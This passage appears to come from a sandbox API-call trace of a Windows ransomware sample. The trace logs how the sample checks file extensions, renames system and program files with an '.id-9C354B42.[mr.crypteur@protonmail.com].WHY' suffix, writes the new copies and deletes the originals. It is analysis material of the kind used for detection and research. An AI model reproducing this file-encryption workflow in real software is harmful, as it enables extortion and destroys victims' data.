(lpString=".docx") returned 5 [0207.930] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0207.930] lstrlenW (lpString=".pdf") returned 4 [0207.930] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0207.930] lstrlenW (lpString=".xls") returned 4 [0207.930] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0207.930] lstrlenW (lpString=".xlsx") returned 5 [0207.930] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0207.931] lstrlenW (lpString=".ppt") returned 4 [0207.931] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0207.931] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0207.931] lstrlenW (lpString=".zip") returned 4 [0207.931] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0207.931] lstrlenW (lpString=".rar") returned 4 [0207.931] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0207.931] lstrlenW (lpString=".bz2") returned 4 [0207.931] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0207.931] lstrlenW (lpString=".7z") returned 3 [0207.931] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0207.931] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0207.931] lstrlenW (lpString=".dbf") returned 4 [0207.931] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0207.931] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0207.931] lstrlenW (lpString=".1cd") returned 4 [0207.932] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0207.932] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0207.932] lstrlenW (lpString=".jpg") returned 4 [0207.932] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0207.932] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0207.932] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0207.932] lstrlenW (lpString=".doc") returned 4 [0207.932] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0207.932] lstrlenW (lpString=".docx") returned 5 [0207.932] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0207.932] lstrlenW (lpString=".pdf") returned 4 [0207.932] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0207.932] lstrlenW (lpString=".xls") returned 4 [0207.933] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0207.933] lstrlenW (lpString=".xlsx") returned 5 [0207.933] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0207.933] lstrlenW (lpString=".ppt") returned 4 [0207.933] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0207.933] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0207.933] lstrlenW (lpString=".zip") returned 4 [0207.933] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0207.933] lstrlenW (lpString=".rar") returned 4 [0207.933] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0207.933] lstrlenW (lpString=".bz2") returned 4 [0207.933] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0207.933] lstrlenW (lpString=".7z") returned 3 [0207.933] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0207.934] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0207.934] lstrlenW (lpString=".dbf") returned 4 [0207.934] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0207.934] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0207.934] lstrlenW (lpString=".1cd") returned 4 [0207.934] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0207.934] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0207.934] lstrlenW (lpString=".jpg") returned 4 [0207.934] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0207.935] lstrcmpiW (lpString1=".ttf", lpString2=".WHY") returned -1 [0207.935] lstrlenW (lpString="chs_boot.ttf") returned 12 [0207.935] CreateFileW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x260 [0207.935] GetFileSizeEx (in: hFile=0x260, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=3694080) returned 1 [0207.935] CloseHandle (hObject=0x260) returned 1 [0207.935] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20 [0207.935] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0207.936] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0207.936] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0207.936] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0207.936] lstrlenW (lpString=".doc") returned 4 [0207.936] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0207.936] lstrlenW (lpString=".docx") returned 5 [0207.936] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0207.937] lstrlenW (lpString=".pdf") returned 4 [0207.937] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0207.937] lstrlenW (lpString=".xls") returned 4 [0207.937] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0207.937] lstrlenW (lpString=".xlsx") returned 5 [0207.937] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0207.937] lstrlenW (lpString=".ppt") returned 4 [0207.937] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0207.937] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0207.937] lstrlenW (lpString=".zip") returned 4 [0207.937] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0207.937] lstrlenW (lpString=".rar") returned 4 [0207.937] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0207.937] lstrlenW (lpString=".bz2") returned 4 [0207.938] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0207.938] lstrlenW (lpString=".7z") returned 3 [0207.938] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0207.938] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0207.938] lstrlenW (lpString=".dbf") returned 4 [0207.938] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0207.938] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0207.938] lstrlenW (lpString=".1cd") returned 4 [0207.938] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0207.938] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0207.938] lstrlenW (lpString=".jpg") returned 4 [0207.938] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0207.938] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0207.938] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0207.939] lstrlenW (lpString=".doc") returned 4 [0207.939] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0207.939] lstrlenW (lpString=".docx") returned 5 [0207.939] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0207.939] lstrlenW (lpString=".pdf") returned 4 [0207.939] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0207.939] lstrlenW (lpString=".xls") returned 4 [0207.939] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0207.939] lstrlenW (lpString=".xlsx") returned 5 [0207.939] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0207.939] lstrlenW (lpString=".ppt") returned 4 [0207.939] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0207.939] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0207.939] lstrlenW (lpString=".zip") returned 4 [0207.939] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0207.939] lstrlenW (lpString=".rar") returned 4 [0207.939] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0207.940] lstrlenW (lpString=".bz2") returned 4 [0207.940] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0207.940] lstrlenW (lpString=".7z") returned 3 [0207.940] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0207.940] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0207.940] lstrlenW (lpString=".dbf") returned 4 [0207.940] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0207.940] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0207.940] lstrlenW (lpString=".1cd") returned 4 [0207.940] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0207.940] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0207.940] lstrlenW (lpString=".jpg") returned 4 [0207.940] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0207.941] lstrcmpiW (lpString1=".ttf", lpString2=".WHY") returned -1 [0207.941] lstrlenW (lpString="cht_boot.ttf") returned 12 [0207.941] CreateFileW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0208.464] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=3876772) returned 1 [0208.464] CloseHandle (hObject=0x290) returned 1 [0208.464] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0x20 [0208.464] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0208.464] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0208.464] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0208.464] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0208.464] lstrlenW (lpString=".doc") returned 4 [0208.465] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0208.465] lstrlenW (lpString=".docx") returned 5 [0208.465] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0208.465] lstrlenW (lpString=".pdf") returned 4 [0208.465] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0208.465] lstrlenW (lpString=".xls") returned 4 [0208.465] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0208.465] lstrlenW (lpString=".xlsx") returned 5 [0208.465] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0208.465] lstrlenW (lpString=".ppt") returned 4 [0208.466] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0208.466] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0208.466] lstrlenW (lpString=".zip") returned 4 [0208.466] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0208.466] lstrlenW (lpString=".rar") returned 4 [0208.466] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0208.466] lstrlenW (lpString=".bz2") returned 4 [0208.466] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0208.466] lstrlenW (lpString=".7z") returned 3 [0208.466] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0208.466] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0208.466] lstrlenW (lpString=".dbf") returned 4 [0208.466] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0208.466] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0208.466] lstrlenW (lpString=".1cd") returned 4 [0208.467] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0208.467] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0208.467] lstrlenW (lpString=".jpg") returned 4 [0208.467] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0208.467] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0208.467] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0208.467] lstrlenW (lpString=".doc") returned 4 [0208.467] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0208.467] lstrlenW (lpString=".docx") returned 5 [0208.468] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0208.468] lstrlenW (lpString=".pdf") returned 4 [0208.468] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0208.468] lstrlenW (lpString=".xls") returned 4 [0208.468] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0208.468] lstrlenW (lpString=".xlsx") returned 5 [0208.468] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0208.468] lstrlenW (lpString=".ppt") returned 4 [0208.468] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0208.468] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0208.468] lstrlenW (lpString=".zip") returned 4 [0208.469] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0208.469] lstrlenW (lpString=".rar") returned 4 [0208.469] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0208.469] lstrlenW (lpString=".bz2") returned 4 [0208.469] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0208.469] lstrlenW (lpString=".7z") returned 3 [0208.469] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0208.469] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0208.469] lstrlenW (lpString=".dbf") returned 4 [0208.469] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0208.469] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0208.469] lstrlenW (lpString=".1cd") returned 4 [0208.469] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0208.469] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0208.470] lstrlenW (lpString=".jpg") returned 4 [0208.470] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0208.470] lstrcmpiW (lpString1=".exe", lpString2=".WHY") returned -1 [0208.470] lstrlenW (lpString="isspos.exe") returned 10 [0208.470] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\isspos.exe" (normalized: "c:\\program files\\common files\\isspos.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0208.611] GetFileSizeEx (in: hFile=0x284, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=78336) returned 1 [0208.611] CloseHandle (hObject=0x284) returned 1 [0208.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\isspos.exe" (normalized: "c:\\program files\\common files\\isspos.exe")) returned 0x20 [0208.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\isspos.exe.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\isspos.exe.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0208.612] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\isspos.exe" (normalized: "c:\\program files\\common files\\isspos.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0208.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\isspos.exe") returned 40 [0208.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\isspos.exe") returned 40 [0208.612] lstrlenW (lpString=".doc") returned 4 [0208.612] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0208.612] lstrlenW (lpString=".docx") returned 5 [0208.612] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0208.612] lstrlenW (lpString=".pdf") returned 4 [0208.613] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0208.613] lstrlenW (lpString=".xls") returned 4 [0208.613] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0208.613] lstrlenW (lpString=".xlsx") returned 5 [0208.613] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0208.613] lstrlenW (lpString=".ppt") returned 4 [0208.613] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0208.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\isspos.exe") returned 40 [0208.613] lstrlenW (lpString=".zip") returned 4 [0208.613] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0208.613] lstrlenW (lpString=".rar") returned 4 [0208.613] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0208.613] lstrlenW (lpString=".bz2") returned 4 [0208.614] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0208.614] lstrlenW (lpString=".7z") returned 3 [0208.614] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0208.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\isspos.exe") returned 40 [0215.228] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=323936) returned 1 [0215.228] CloseHandle (hObject=0x300) returned 1 [0215.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt")) returned 0x20 [0215.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0215.229] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.965] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0219.840] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0221.868] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0221.877] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0221.879] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0221.880] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0228.976] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\DVDMaker.exe" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\DVDMaker.exe.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0229.144] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\OmdBase.dll" (normalized: "c:\\program files\\dvd maker\\omdbase.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\OmdBase.dll.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\dvd maker\\omdbase.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0229.154] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0229.157] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0229.157] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0229.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0230.504] GetLastError () returned 0x0 [0230.504] ReadFile (in: hFile=0x38c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0xa2b58, lpOverlapped=0x0) returned 1 [0230.884] WriteFile (in: hFile=0x37c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xa2b60, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0xa2b60, lpOverlapped=0x0) returned 1 [0231.019] ReadFile (in: hFile=0x38c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0x0, lpOverlapped=0x0) returned 1 [0231.019] WriteFile (in: hFile=0x37c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0xea, lpOverlapped=0x0) returned 1 [0231.020] SetEndOfFile (hFile=0x37c) returned 1 [0231.020] CloseHandle (hObject=0x37c) returned 1 [0231.038] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0231.038] SetEndOfFile (hFile=0x38c) returned 1 [0231.646] CloseHandle (hObject=0x38c) returned 1 [0231.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0231.698] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll")) returned 1 [0231.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0231.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0231.769] lstrlenW (lpString=".doc") returned 4 [0231.769] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1 [0231.769] lstrlenW (lpString=".docx") returned 5 [0231.769] lstrcmpiW (lpString1=".docx", lpString2="v.rll") returned -1 [0231.769] lstrlenW (lpString=".pdf") returned 4 [0231.769] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1 [0231.769] lstrlenW (lpString=".xls") returned 4 [0231.769] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1 [0231.769] lstrlenW (lpString=".xlsx") returned 5 [0231.769] lstrcmpiW (lpString1=".xlsx", lpString2="v.rll") returned -1 [0231.769] lstrlenW (lpString=".ppt") returned 4 [0231.769] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1 [0231.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0231.769] lstrlenW (lpString=".zip") returned 4 [0231.770] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1 [0231.770] lstrlenW (lpString=".rar") returned 4 [0231.770] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1 [0231.770] lstrlenW (lpString=".bz2") returned 4 [0231.770] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1 [0231.770] lstrlenW (lpString=".7z") returned 3 [0231.770] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1 [0231.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis 